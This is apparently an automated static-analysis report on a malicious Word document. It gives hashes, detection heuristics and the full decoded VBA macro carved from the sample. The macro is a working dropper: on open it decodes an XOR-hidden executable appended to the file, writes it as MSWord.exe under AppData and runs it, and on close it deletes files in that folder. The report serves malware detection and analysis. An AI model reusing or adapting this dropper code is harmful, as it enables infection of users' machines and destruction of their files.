Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3b94674c3b1b6a9a…

MALICIOUS

Office (OLE)

1.20 MB Created: 2015-03-18 01:18:00 Authoring application: Microsoft Office Word First seen: 2020-12-25
MD5: b62ee8e5198e77ed3e4d4011872bceaa SHA-1: 547f525f57f3f47222ae3ab253635df936bd355a SHA-256: 3b94674c3b1b6a9a1e997e8b881ff1993d5295e67358d727ffcc24a41bbe25d2
406 Risk Score

Heuristics 14

  • ClamAV: Doc.Malware.Miskip-10005013-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Miskip-10005013-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set oSh = CreateObject("WScript.Shell")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set FSO = CreateObject("Scripting.FileSystemObject")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        Folder = Environ("appdata") & "\Microsoft\Word"
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 1,258,006 bytes but its declared streams total only 611,307 bytes — 646,699 bytes (51%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • OLE file has appended executable-looking payload bytes high OLE_APPENDED_PAYLOAD
    OLE compound file contains a large high-entropy region beyond the declared major streams and that region includes shellcode, PE, or loader API markers. This is a payload-carrier signal, not a specific CVE attribution by itself.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3340 bytes
SHA-256: 3f707a747352318c7af15dee43e217c98c6aae9855efc0cb15ee950f581ce567
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Viewer"
Public File As String
Public Folder As String
Function CheckFile(MacrosArray() As Byte, MacrosSize As Long) As Byte
    
    For I = 0 To MacrosSize - 1
        CheckFile = CheckFile Xor MacrosArray(I)
    Next I

End Function
Function PresentFile(MacrosArray() As Byte, MacrosSize As Long) As Boolean
    
    Dim VarByte As Byte
    VarByte = 35
    
    For I = 0 To MacrosSize - 1
        MacrosArray(I) = MacrosArray(I) Xor VarByte
        VarByte = ((VarByte Xor 217) Xor (I Mod 256))
    Next I
    
    PresentFile = True
    
End Function
Function ViewDocument() As Boolean

    ActiveDocument.GrammarChecked = False
    ActiveDocument.SpellingChecked = False
    ActiveDocument.Select
    Selection.Font.ColorIndex = wdBlack
    Selection.HomeKey
    
    ViewDocument = True
    
End Function
Sub AutoClose()
        
    On Error Resume Next
    Kill File
    
    On Error Resume Next
    Set FSO = CreateObject("Scripting.FileSystemObject")
    FSO.DeleteFile Folder & "\*.*", True
    Set FSO = Nothing
        
End Sub
Sub AutoOpen()
    
    On Error GoTo FalseReturn
    
    Dim ResultView As Boolean
    ResultView = ViewDocument()
    
    Dim ThisDocument
    Dim DocSize As Long
    Dim MacrosSize As Long
    Dim MacrosCheck As Byte
    
    DocSize = FileLen(ActiveDocument.FullName)
    
    ThisDocument = FreeFile
    Open (ActiveDocument.FullName) For Binary As #ThisDocument
    
    Get #ThisDocument, (DocSize - 4), MacrosCheck
    Get #ThisDocument, (DocSize - 3), MacrosSize
            
    If MacrosSize < 8 Then
        GoTo FalseReturn
    End If
    
    If (MacrosSize + 4) > DocSize Then
        GoTo FalseReturn
    End If
    
    Dim StartMacros As Long
    StartMacros = DocSize - (MacrosSize + 4)
         
    Dim MacrosArray() As Byte
    ReDim MacrosArray(MacrosSize - 1)
    
    Get #ThisDocument, StartMacros, MacrosArray
                 
    Close #ThisDocument
    
    If Not PresentFile(MacrosArray(), MacrosSize) Then
        GoTo FalseReturn
    End If
    
    Dim CheckValue As Byte
    CheckValue = CheckFile(MacrosArray(), MacrosSize)
        
    If MacrosCheck <> CheckValue Then
        GoTo FalseReturn
    End If
        
    Folder = Environ("appdata") & "\Microsoft\Word"
    
    Set FSO = CreateObject("Scripting.FileSystemObject")
    If Not FSO.FolderExists(Folder) Then
       Folder = Environ("appdata")
    End If
    Set FSO = Nothing
    
    Dim Macros
    Macros = FreeFile
    
    File = Folder & "\" & "MSWord.exe"
           
    Open (File) For Binary As #Macros
    Put #Macros, 1, MacrosArray
    Close #Macros
    
    Erase MacrosArray
        
    Set oSh = CreateObject("WScript.Shell")
    oSh.Run File
        
    ActiveDocument.Save
    ActiveDocument.Close
    
Exit Sub

FalseReturn:

    Close #ThisDocument
    Close #Macros
    
    ActiveDocument.Save
    ActiveDocument.Close
    
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.